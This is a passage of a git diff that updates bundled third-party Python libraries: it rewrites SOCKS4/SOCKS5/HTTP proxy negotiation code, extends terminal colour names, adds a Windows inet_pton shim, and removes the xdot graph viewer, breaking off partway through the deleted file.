Okay, we need to perform a basic username/password - # authentication. - self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) - authstat = self.__recvall(2) - if authstat[0:1] != chr(0x01).encode(): - # Bad response - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - if authstat[1:2] != chr(0x00).encode(): - # Authentication failed - self.close() - raise Socks5AuthError((3, _socks5autherrors[3])) - # Authentication succeeded - else: - # Reaching here is always bad - self.close() - if chosenauth[1] == chr(0xFF).encode(): - raise Socks5AuthError((2, _socks5autherrors[2])) - else: - raise GeneralProxyError((1, _generalerrors[1])) - # Now we can request the actual connection - req = struct.pack('BBB', 0x05, 0x01, 0x00) - # If the given destination address is an IP address, we'll - # use the IPv4 address request even if remote resolving was specified. + Send SOCKS5 request with given command (CMD field) and + address (DST field). Returns resolved DST address that was used. + """ + proxy_type, addr, port, rdns, username, password = self.proxy + + writer = conn.makefile("wb") + reader = conn.makefile("rb", 0) # buffering=0 renamed in Python 3 try: - ipaddr = socket.inet_aton(destaddr) - req = req + chr(0x01).encode() + ipaddr - except socket.error: - # Well it's not an IP number, so it's probably a DNS name. - if self.__proxy[3]: - # Resolve remotely - ipaddr = None - req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr + # First we'll send the authentication packages we support. + if username and password: + # The username/password details were supplied to the + # set_proxy method so we support the USERNAME/PASSWORD + # authentication (in addition to the standard none). + writer.write(b"\x05\x02\x00\x02") else: - # Resolve locally - ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) - req = req + chr(0x01).encode() + ipaddr - req = req + struct.pack(">H", destport) - self.sendall(req) - # Get the response - resp = self.__recvall(4) - if resp[0:1] != chr(0x05).encode(): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - elif resp[1:2] != chr(0x00).encode(): - # Connection failed - self.close() - if ord(resp[1:2])<=8: - raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) - else: - raise Socks5Error((9, _socks5errors[9])) - # Get the bound address/port - elif resp[3:4] == chr(0x01).encode(): - boundaddr = self.__recvall(4) - elif resp[3:4] == chr(0x03).encode(): - resp = resp + self.recv(1) - boundaddr = self.__recvall(ord(resp[4:5])) + # No username/password were entered, therefore we + # only support connections with no authentication. + writer.write(b"\x05\x01\x00") + + # We'll receive the server's response to determine which + # method was selected + writer.flush() + chosen_auth = self._readall(reader, 2) + + if chosen_auth[0:1] != b"\x05": + # Note: string[i:i+1] is used because indexing of a bytestring + # via bytestring[i] yields an integer in Python 3 + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + # Check the chosen authentication method + + if chosen_auth[1:2] == b"\x02": + # Okay, we need to perform a basic username/password + # authentication. + if not (username and password): + # Although we said we don't support authentication, the + # server may still request basic username/password + # authentication + raise SOCKS5AuthError("No username/password supplied. " + "Server requested username/password" + " authentication") + + writer.write(b"\x01" + chr(len(username)).encode() + + username + + chr(len(password)).encode() + + password) + writer.flush() + auth_status = self._readall(reader, 2) + if auth_status[0:1] != b"\x01": + # Bad response + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + if auth_status[1:2] != b"\x00": + # Authentication failed + raise SOCKS5AuthError("SOCKS5 authentication failed") + + # Otherwise, authentication succeeded + + # No authentication is required if 0x00 + elif chosen_auth[1:2] != b"\x00": + # Reaching here is always bad + if chosen_auth[1:2] == b"\xFF": + raise SOCKS5AuthError( + "All offered SOCKS5 authentication methods were" + " rejected") + else: + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + # Now we can request the actual connection + writer.write(b"\x05" + cmd + b"\x00") + resolved = self._write_SOCKS5_address(dst, writer) + writer.flush() + + # Get the response + resp = self._readall(reader, 3) + if resp[0:1] != b"\x05": + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x00: + # Connection failed: server returned an error + error = SOCKS5_ERRORS.get(status, "Unknown error") + raise SOCKS5Error("{:#04x}: {}".format(status, error)) + + # Get the bound address/port + bnd = self._read_SOCKS5_address(reader) + + super(socksocket, self).settimeout(self._timeout) + return (resolved, bnd) + finally: + reader.close() + writer.close() + + def _write_SOCKS5_address(self, addr, file): + """ + Return the host and port packed for the SOCKS5 protocol, + and the resolved address as a tuple object. + """ + host, port = addr + proxy_type, _, _, rdns, username, password = self.proxy + family_to_byte = {socket.AF_INET: b"\x01", socket.AF_INET6: b"\x04"} + + # If the given destination address is an IP address, we'll + # use the IP address request even if remote resolving was specified. + # Detect whether the address is IPv4/6 directly. + for family in (socket.AF_INET, socket.AF_INET6): + try: + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + except socket.error: + continue + + # Well it's not an IP number, so it's probably a DNS name. + if rdns: + # Resolve remotely + host_bytes = host.encode("idna") + file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes) else: - self.close() - raise GeneralProxyError((1,_generalerrors[1])) - boundport = struct.unpack(">H", self.__recvall(2))[0] - self.__proxysockname = (boundaddr, boundport) - if ipaddr != None: - self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) + # Resolve locally + addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, + socket.SOCK_STREAM, + socket.IPPROTO_TCP, + socket.AI_ADDRCONFIG) + # We can't really work out what IP is reachable, so just pick the + # first. + target_addr = addresses[0] + family = target_addr[0] + host = target_addr[4][0] + + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + + def _read_SOCKS5_address(self, file): + atyp = self._readall(file, 1) + if atyp == b"\x01": + addr = socket.inet_ntoa(self._readall(file, 4)) + elif atyp == b"\x03": + length = self._readall(file, 1) + addr = self._readall(file, ord(length)) + elif atyp == b"\x04": + addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16)) else: - self.__proxypeername = (destaddr, destport) - - def getproxysockname(self): - """getsockname() -> address info - Returns the bound IP address and port number at the proxy. - """ - return self.__proxysockname + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - def getproxypeername(self): - """getproxypeername() -> address info - Returns the IP and port number of the proxy. - """ - return _orgsocket.getpeername(self) + port = struct.unpack(">H", self._readall(file, 2))[0] + return addr, port - def getpeername(self): - """getpeername() -> address info - Returns the IP address and port number of the destination - machine (note: getproxypeername returns the proxy) - """ - return self.__proxypeername + def _negotiate_SOCKS4(self, dest_addr, dest_port): + """Negotiates a connection through a SOCKS4 server.""" + proxy_type, addr, port, rdns, username, password = self.proxy - def __negotiatesocks4(self,destaddr,destport): - """__negotiatesocks4(self,destaddr,destport) - Negotiates a connection through a SOCKS4 server. - """ - # Check if the destination address provided is an IP address - rmtrslv = False + writer = self.makefile("wb") + reader = self.makefile("rb", 0) # buffering=0 renamed in Python 3 try: - ipaddr = socket.inet_aton(destaddr) - except socket.error: - # It's a DNS name. Check where it should be resolved. - if self.__proxy[3]: - ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) - rmtrslv = True - else: - ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) - # Construct the request packet - req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr - # The username parameter is considered userid for SOCKS4 - if self.__proxy[4] != None: - req = req + self.__proxy[4] - req = req + chr(0x00).encode() - # DNS name if remote resolving is required - # NOTE: This is actually an extension to the SOCKS4 protocol - # called SOCKS4A and may not be supported in all cases. - if rmtrslv: - req = req + destaddr + chr(0x00).encode() - self.sendall(req) - # Get the response from the server - resp = self.__recvall(8) - if resp[0:1] != chr(0x00).encode(): - # Bad data - self.close() - raise GeneralProxyError((1,_generalerrors[1])) - if resp[1:2] != chr(0x5A).encode(): - # Server returned an error - self.close() - if ord(resp[1:2]) in (91, 92, 93): - self.close() - raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) + # Check if the destination address provided is an IP address + remote_resolve = False + try: + addr_bytes = socket.inet_aton(dest_addr) + except socket.error: + # It's a DNS name. Check where it should be resolved. + if rdns: + addr_bytes = b"\x00\x00\x00\x01" + remote_resolve = True + else: + addr_bytes = socket.inet_aton( + socket.gethostbyname(dest_addr)) + + # Construct the request packet + writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port)) + writer.write(addr_bytes) + + # The username parameter is considered userid for SOCKS4 + if username: + writer.write(username) + writer.write(b"\x00") + + # DNS name if remote resolving is required + # NOTE: This is actually an extension to the SOCKS4 protocol + # called SOCKS4A and may not be supported in all cases. + if remote_resolve: + writer.write(dest_addr.encode("idna") + b"\x00") + writer.flush() + + # Get the response from the server + resp = self._readall(reader, 8) + if resp[0:1] != b"\x00": + # Bad data + raise GeneralProxyError( + "SOCKS4 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x5A: + # Connection failed: server returned an error + error = SOCKS4_ERRORS.get(status, "Unknown error") + raise SOCKS4Error("{:#04x}: {}".format(status, error)) + + # Get the bound address/port + self.proxy_sockname = (socket.inet_ntoa(resp[4:]), + struct.unpack(">H", resp[2:4])[0]) + if remote_resolve: + self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port else: - raise Socks4Error((94, _socks4errors[4])) - # Get the bound address/port - self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) - if rmtrslv != None: - self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) - else: - self.__proxypeername = (destaddr, destport) + self.proxy_peername = dest_addr, dest_port + finally: + reader.close() + writer.close() + + def _negotiate_HTTP(self, dest_addr, dest_port): + """Negotiates a connection through an HTTP server. + + NOTE: This currently only supports HTTP CONNECT-style proxies.""" + proxy_type, addr, port, rdns, username, password = self.proxy - def __negotiatehttp(self, destaddr, destport): - """__negotiatehttp(self,destaddr,destport) - Negotiates a connection through an HTTP server. - """ # If we need to resolve locally, we do this now - if not self.__proxy[3]: - addr = socket.gethostbyname(destaddr) - else: - addr = destaddr - self.sendall(("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) - # We read the response until we get the string "\r\n\r\n" - resp = self.recv(1) - while resp.find("\r\n\r\n".encode()) == -1: - resp = resp + self.recv(1) - # We just need the first line to check if the connection - # was successful - statusline = resp.splitlines()[0].split(" ".encode(), 2) - if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) + addr = dest_addr if rdns else socket.gethostbyname(dest_addr) + + http_headers = [ + (b"CONNECT " + addr.encode("idna") + b":" + + str(dest_port).encode() + b" HTTP/1.1"), + b"Host: " + dest_addr.encode("idna") + ] + + if username and password: + http_headers.append(b"Proxy-Authorization: basic " + + b64encode(username + b":" + password)) + + http_headers.append(b"\r\n") + + self.sendall(b"\r\n".join(http_headers)) + + # We just need the first line to check if the connection was successful + fobj = self.makefile() + status_line = fobj.readline() + fobj.close() + + if not status_line: + raise GeneralProxyError("Connection closed unexpectedly") + try: - statuscode = int(statusline[1]) + proto, status_code, status_msg = status_line.split(" ", 2) except ValueError: - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - if statuscode != 200: - self.close() - raise HTTPError((statuscode, statusline[2])) - self.__proxysockname = ("0.0.0.0", 0) - self.__proxypeername = (addr, destport) + raise GeneralProxyError("HTTP proxy server sent invalid response") + + if not proto.startswith("HTTP/"): + raise GeneralProxyError( + "Proxy server does not appear to be an HTTP proxy") - def connect(self, destpair): - """connect(self, despair) + try: + status_code = int(status_code) + except ValueError: + raise HTTPError( + "HTTP proxy server did not return a valid HTTP status") + + if status_code != 200: + error = "{}: {}".format(status_code, status_msg) + if status_code in (400, 403, 405): + # It's likely that the HTTP proxy server does not support the + # CONNECT tunneling method + error += ("\n[*] Note: The HTTP proxy server may not be" + " supported by PySocks (must be a CONNECT tunnel" + " proxy)") + raise HTTPError(error) + + self.proxy_sockname = (b"0.0.0.0", 0) + self.proxy_peername = addr, dest_port + + _proxy_negotiators = { + SOCKS4: _negotiate_SOCKS4, + SOCKS5: _negotiate_SOCKS5, + HTTP: _negotiate_HTTP + } + + @set_self_blocking + def connect(self, dest_pair, catch_errors=None): + """ Connects to the specified destination through a proxy. - destpar - A tuple of the IP/DNS address and the port number. - (identical to socket's connect). - To select the proxy server use setproxy(). + Uses the same API as socket's connect(). + To select the proxy server, use set_proxy(). + + dest_pair - 2-tuple of (IP/hostname, port). """ - # Do a minimal input check first - if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or (type(destpair[1]) != int): - raise GeneralProxyError((5, _generalerrors[5])) - if self.__proxy[0] == PROXY_TYPE_SOCKS5: - if self.__proxy[2] != None: - portnum = self.__proxy[2] - else: - portnum = 1080 - _orgsocket.connect(self, (self.__proxy[1], portnum)) - self.__negotiatesocks5(destpair[0], destpair[1]) - elif self.__proxy[0] == PROXY_TYPE_SOCKS4: - if self.__proxy[2] != None: - portnum = self.__proxy[2] + if len(dest_pair) != 2 or dest_pair[0].startswith("["): + # Probably IPv6, not supported -- raise an error, and hope + # Happy Eyeballs (RFC6555) makes sure at least the IPv4 + # connection works... + raise socket.error("PySocks doesn't support IPv6: %s" + % str(dest_pair)) + + dest_addr, dest_port = dest_pair + + if self.type == socket.SOCK_DGRAM: + if not self._proxyconn: + self.bind(("", 0)) + dest_addr = socket.gethostbyname(dest_addr) + + # If the host address is INADDR_ANY or similar, reset the peer + # address so that packets are received from any peer + if dest_addr == "0.0.0.0" and not dest_port: + self.proxy_peername = None else: - portnum = 1080 - _orgsocket.connect(self,(self.__proxy[1], portnum)) - self.__negotiatesocks4(destpair[0], destpair[1]) - elif self.__proxy[0] == PROXY_TYPE_HTTP: - if self.__proxy[2] != None: - portnum = self.__proxy[2] + self.proxy_peername = (dest_addr, dest_port) + return + + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + + # Do a minimal input check first + if (not isinstance(dest_pair, (list, tuple)) + or len(dest_pair) != 2 + or not dest_addr + or not isinstance(dest_port, int)): + # Inputs failed, raise an error + raise GeneralProxyError( + "Invalid destination-connection (host, port) pair") + + # We set the timeout here so that we don't hang in connection or during + # negotiation. + super(socksocket, self).settimeout(self._timeout) + + if proxy_type is None: + # Treat like regular socket object + self.proxy_peername = dest_pair + super(socksocket, self).settimeout(self._timeout) + super(socksocket, self).connect((dest_addr, dest_port)) + return + + proxy_addr = self._proxy_addr() + + try: + # Initial connection to proxy server. + super(socksocket, self).connect(proxy_addr) + + except socket.error as error: + # Error while connecting to proxy + self.close() + if not catch_errors: + proxy_addr, proxy_port = proxy_addr + proxy_server = "{}:{}".format(proxy_addr, proxy_port) + printable_type = PRINTABLE_PROXY_TYPES[proxy_type] + + msg = "Error connecting to {} proxy {}".format(printable_type, + proxy_server) + log.debug("%s due to: %s", msg, error) + raise ProxyConnectionError(msg, error) else: - portnum = 8080 - _orgsocket.connect(self,(self.__proxy[1], portnum)) - self.__negotiatehttp(destpair[0], destpair[1]) - elif self.__proxy[0] == None: - _orgsocket.connect(self, (destpair[0], destpair[1])) + raise error + else: - raise GeneralProxyError((4, _generalerrors[4])) + # Connected to proxy server, now negotiate + try: + # Calls negotiate_{SOCKS4, SOCKS5, HTTP} + negotiate = self._proxy_negotiators[proxy_type] + negotiate(self, dest_addr, dest_port) + except socket.error as error: + if not catch_errors: + # Wrap socket errors + self.close() + raise GeneralProxyError("Socket error", error) + else: + raise error + except ProxyError: + # Protocol error while negotiating with proxy + self.close() + raise + + @set_self_blocking + def connect_ex(self, dest_pair): + """ https://docs.python.org/3/library/socket.html#socket.socket.connect_ex + Like connect(address), but return an error indicator instead of raising an exception for errors returned by the C-level connect() call (other problems, such as "host not found" can still raise exceptions). + """ + try: + self.connect(dest_pair, catch_errors=True) + return 0 + except OSError as e: + # If the error is numeric (socket errors are numeric), then return number as + # connect_ex expects. Otherwise raise the error again (socket timeout for example) + if e.errno: + return e.errno + else: + raise -def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, - source_address=None): - # Patched for a DNS-leakage - host, port = address - sock = None - try: - sock = socksocket(socket.AF_INET, socket.SOCK_STREAM) - if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT: - sock.settimeout(timeout) - if source_address: - sock.bind(source_address) - sock.connect(address) - except socket.error: - if sock is not None: - sock.close() - raise - return sock + def _proxy_addr(self): + """ + Return proxy address to connect to as tuple object + """ + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + if not proxy_port: + raise GeneralProxyError("Invalid proxy type") + return proxy_addr, proxy_port diff --git a/thirdparty/termcolor/termcolor.py b/thirdparty/termcolor/termcolor.py index f11b824b287..ddea6dd59f2 100644 --- a/thirdparty/termcolor/termcolor.py +++ b/thirdparty/termcolor/termcolor.py @@ -79,6 +79,11 @@ )) ) +COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS)) + +# Reference: https://misc.flogisoft.com/bash/tip_colors_and_formatting +COLORS["lightgrey"] = 37 +COLORS["darkgrey"] = 90 RESET = '\033[0m' diff --git a/thirdparty/wininetpton/__init__.py b/thirdparty/wininetpton/__init__.py new file mode 100644 index 00000000000..5ea298dc195 --- /dev/null +++ b/thirdparty/wininetpton/__init__.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python +# +# Copyright Ryan Vennell +# +# This software released into the public domain. Anyone is free to copy, +# modify, publish, use, compile, sell, or distribute this software, +# either in source code form or as a compiled binary, for any purpose, +# commercial or non-commercial, and by any means. + +pass diff --git a/thirdparty/wininetpton/win_inet_pton.py b/thirdparty/wininetpton/win_inet_pton.py new file mode 100644 index 00000000000..84c00721afb --- /dev/null +++ b/thirdparty/wininetpton/win_inet_pton.py @@ -0,0 +1,127 @@ +# This software released into the public domain. Anyone is free to copy, +# modify, publish, use, compile, sell, or distribute this software, +# either in source code form or as a compiled binary, for any purpose, +# commercial or non-commercial, and by any means. + +import socket +import os +import sys + + +def inject_into_socket(): + import ctypes + + class in_addr(ctypes.Structure): + _fields_ = [("S_addr", ctypes.c_ubyte * 4)] + + class in6_addr(ctypes.Structure): + _fields_ = [("Byte", ctypes.c_ubyte * 16)] + + if hasattr(ctypes, "windll"): + # InetNtopW( + # INT family, + # const VOID *pAddr, + # PWSTR pStringBuf, + # size_t StringBufSize + # ) -> PCWSTR + InetNtopW = ctypes.windll.ws2_32.InetNtopW + + # InetPtonW( + # INT family, + # PCWSTR pszAddrString, + # PVOID pAddrBuf + # ) -> INT + InetPtonW = ctypes.windll.ws2_32.InetPtonW + + # WSAGetLastError() -> INT + WSAGetLastError = ctypes.windll.ws2_32.WSAGetLastError + else: + + def not_windows(): + raise SystemError("Invalid platform. ctypes.windll must be available.") + + InetNtopW = not_windows + InetPtonW = not_windows + WSAGetLastError = not_windows + + def inet_pton(address_family, ip_string): + if sys.version_info[0] > 2 and isinstance(ip_string, bytes): + raise TypeError("inet_pton() argument 2 must be str, not bytes") + + if address_family == socket.AF_INET: + family = 2 + addr = in_addr() + elif address_family == socket.AF_INET6: + family = 23 + addr = in6_addr() + else: + raise OSError("unknown address family") + + ip_string = ctypes.c_wchar_p(ip_string) + ret = InetPtonW(ctypes.c_int(family), ip_string, ctypes.byref(addr)) + + if ret == 1: + if address_family == socket.AF_INET: + return ctypes.string_at(addr.S_addr, 4) + else: + return ctypes.string_at(addr.Byte, 16) + elif ret == 0: + raise socket.error("illegal IP address string passed to inet_pton") + else: + err = WSAGetLastError() + if err == 10047: + e = socket.error("unknown address family") + elif err == 10014: + e = OSError("bad address") + else: + e = OSError("unknown error from inet_ntop") + e.errno = err + raise e + + def inet_ntop(address_family, packed_ip): + if address_family == socket.AF_INET: + addr = in_addr() + if len(packed_ip) != ctypes.sizeof(addr.S_addr): + raise ValueError("packed IP wrong length for inet_ntop") + + ctypes.memmove(addr.S_addr, packed_ip, 4) + buffer_len = 16 + family = 2 + + elif address_family == socket.AF_INET6: + addr = in6_addr() + if len(packed_ip) != ctypes.sizeof(addr.Byte): + raise ValueError("packed IP wrong length for inet_ntop") + + ctypes.memmove(addr.Byte, packed_ip, 16) + buffer_len = 46 + family = 23 + else: + raise ValueError("unknown address family") + + buffer = ctypes.create_unicode_buffer(buffer_len) + + ret = InetNtopW( + ctypes.c_int(family), + ctypes.byref(addr), + ctypes.byref(buffer), + buffer_len, + ) + if ret is None: + err = WSAGetLastError() + if err == 10047: + e = ValueError("unknown address family") + else: + e = OSError("unknown error from inet_ntop") + e.errno = err + raise e + + return ctypes.wstring_at(buffer, buffer_len).rstrip("\x00") + + # Adding our two functions to the socket library + socket.inet_pton = inet_pton + socket.inet_ntop = inet_ntop + + +if os.name == "nt" and not hasattr(socket, "inet_pton"): + inject_into_socket() diff --git a/thirdparty/xdot/__init__.py b/thirdparty/xdot/__init__.py deleted file mode 100644 index c1a869589f3..00000000000 --- a/thirdparty/xdot/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008-2009 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -pass diff --git a/thirdparty/xdot/xdot.py b/thirdparty/xdot/xdot.py deleted file mode 100644 index 4bc94640e0f..00000000000 --- a/thirdparty/xdot/xdot.py +++ /dev/null @@ -1,2159 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -'''Visualize dot graphs via the xdot Format.''' - -__author__ = "Jose Fonseca" - -__version__ = "0.4" - - -import os -import sys -import subprocess -import math -import colorsys -import time -import re - -import gobject -import gtk -import gtk.gdk -import gtk.keysyms -import cairo -import pango -import pangocairo - - -# See http://www.graphviz.org/pub/scm/graphviz-cairo/plugin/cairo/gvrender_cairo.c - -# For pygtk inspiration and guidance see: -# - http://mirageiv.berlios.de/ -# - http://comix.sourceforge.net/ - - -class Pen: - """Store pen attributes.""" - - def __init__(self): - # set default attributes - self.color = (0.0, 0.0, 0.0, 1.0) - self.fillcolor = (0.0, 0.0, 0.0, 1.0) - self.linewidth = 1.0 - self.fontsize = 14.0 - self.fontname = "Times-Roman" - self.dash = () - - def copy(self): - """Create a copy of this pen.""" - pen = Pen() - pen.__dict__ = self.__dict__.copy() - return pen - - def highlighted(self): - pen = self.copy() - pen.color = (1, 0, 0, 1) - pen.fillcolor = (1, .8, .8, 1) - return pen - - -class Shape: - """Abstract base class for all the drawing shapes.""" - - def __init__(self): - pass - - def draw(self, cr, highlight=False): - """Draw this shape with the given cairo context""" - raise NotImplementedError - - def select_pen(self, highlight): - if highlight: - if not hasattr(self, 'highlight_pen'): - self.highlight_pen = self.pen.highlighted() - return self.highlight_pen - else: - return self.pen - - -class TextShape(Shape): - - #fontmap = pangocairo.CairoFontMap() - #fontmap.set_resolution(72) - #context = fontmap.create_context() - - LEFT, CENTER, RIGHT = -1, 0, 1 - - def __init__(self, pen, x, y, j, w, t): - Shape.__init__(self) - self.pen = pen.copy() - self.x = x - self.y = y - self.j = j - self.w = w - self.t = t - - def draw(self, cr, highlight=False): - - try: - layout = self.layout - except AttributeError: - layout = cr.create_layout() - - # set font options - # see http://lists.freedesktop.org/archives/cairo/2007-February/009688.html - context = layout.get_context() - fo = cairo.FontOptions() - fo.set_antialias(cairo.ANTIALIAS_DEFAULT) - fo.set_hint_style(cairo.HINT_STYLE_NONE) - fo.set_hint_metrics(cairo.HINT_METRICS_OFF) - try: - pangocairo.context_set_font_options(context, fo) - except TypeError: - # XXX: Some broken pangocairo bindings show the error - # 'TypeError: font_options must be a cairo.FontOptions or None' - pass - - # set font - font = pango.FontDescription() - font.set_family(self.pen.fontname) - font.set_absolute_size(self.pen.fontsize*pango.SCALE) - layout.set_font_description(font) - - # set text - layout.set_text(self.t) - - # cache it - self.layout = layout - else: - cr.update_layout(layout) - - descent = 2 # XXX get descender from font metrics - - width, height = layout.get_size() - width = float(width)/pango.SCALE - height = float(height)/pango.SCALE - # we know the width that dot thinks this text should have - # we do not necessarily have a font with the same metrics - # scale it so that the text fits inside its box - if width > self.w: - f = self.w / width - width = self.w # equivalent to width *= f - height *= f - descent *= f - else: - f = 1.0 - - if self.j == self.LEFT: - x = self.x - elif self.j == self.CENTER: - x = self.x - 0.5*width - elif self.j == self.RIGHT: - x = self.x - width - else: - assert 0 - - y = self.y - height + descent - - cr.move_to(x, y) - - cr.save() - cr.scale(f, f) - cr.set_source_rgba(*self.select_pen(highlight).color) - cr.show_layout(layout) - cr.restore() - - if 0: # DEBUG - # show where dot thinks the text should appear - cr.set_source_rgba(1, 0, 0, .9) - if self.j == self.LEFT: - x = self.x - elif self.j == self.CENTER: - x = self.x - 0.5*self.w - elif self.j == self.RIGHT: - x = self.x - self.w - cr.move_to(x, self.y) - cr.line_to(x+self.w, self.y) - cr.stroke() - - -class EllipseShape(Shape): - - def __init__(self, pen, x0, y0, w, h, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.x0 = x0 - self.y0 = y0 - self.w = w - self.h = h - self.filled = filled - - def draw(self, cr, highlight=False): - cr.save() - cr.translate(self.x0, self.y0) - cr.scale(self.w, self.h) - cr.move_to(1.0, 0.0) - cr.arc(0.0, 0.0, 1.0, 0, 2.0*math.pi) - cr.restore() - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class PolygonShape(Shape): - - def __init__(self, pen, points, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - self.filled = filled - - def draw(self, cr, highlight=False): - x0, y0 = self.points[-1] - cr.move_to(x0, y0) - for x, y in self.points: - cr.line_to(x, y) - cr.close_path() - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill_preserve() - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class LineShape(Shape): - - def __init__(self, pen, points): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - - def draw(self, cr, highlight=False): - x0, y0 = self.points[0] - cr.move_to(x0, y0) - for x1, y1 in self.points[1:]: - cr.line_to(x1, y1) - pen = self.select_pen(highlight) - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class BezierShape(Shape): - - def __init__(self, pen, points, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - self.filled = filled - - def draw(self, cr, highlight=False): - x0, y0 = self.points[0] - cr.move_to(x0, y0) - for i in xrange(1, len(self.points), 3): - x1, y1 = self.points[i] - x2, y2 = self.points[i + 1] - x3, y3 = self.points[i + 2] - cr.curve_to(x1, y1, x2, y2, x3, y3) - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill_preserve() - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class CompoundShape(Shape): - - def __init__(self, shapes): - Shape.__init__(self) - self.shapes = shapes - - def draw(self, cr, highlight=False): - for shape in self.shapes: - shape.draw(cr, highlight=highlight) - - -class Url(object): - - def __init__(self, item, url, highlight=None): - self.item = item - self.url = url - if highlight is None: - highlight = set([item]) - self.highlight = highlight - - -class Jump(object): - - def __init__(self, item, x, y, highlight=None): - self.item = item - self.x = x - self.y = y - if highlight is None: - highlight = set([item]) - self.highlight = highlight - - -class Element(CompoundShape): - """Base class for graph nodes and edges.""" - - def __init__(self, shapes): - CompoundShape.__init__(self, shapes) - - def get_url(self, x, y): - return None - - def get_jump(self, x, y): - return None - - -class Node(Element): - - def __init__(self, x, y, w, h, shapes, url): - Element.__init__(self, shapes) - - self.x = x - self.y = y - - self.x1 = x - 0.5*w - self.y1 = y - 0.5*h - self.x2 = x + 0.5*w - self.y2 = y + 0.5*h - - self.url = url - - def is_inside(self, x, y): - return self.x1 <= x and x <= self.x2 and self.y1 <= y and y <= self.y2 - - def get_url(self, x, y): - if self.url is None: - return None - #print (x, y), (self.x1, self.y1), "-", (self.x2, self.y2) - if self.is_inside(x, y): - return Url(self, self.url) - return None - - def get_jump(self, x, y): - if self.is_inside(x, y): - return Jump(self, self.x, self.y) - return None - - -def square_distance(x1, y1, x2, y2): - deltax = x2 - x1 - deltay = y2 - y1 - return deltax*deltax + deltay*deltay - - -class Edge(Element): - - def __init__(self, src, dst, points, shapes): - Element.__init__(self, shapes) - self.src = src - self.dst = dst - self.points = points - - RADIUS = 10 - - def get_jump(self, x, y): - if square_distance(x, y, *self.points[0]) <= self.RADIUS*self.RADIUS: - return Jump(self, self.dst.x, self.dst.y, highlight=set([self, self.dst])) - if 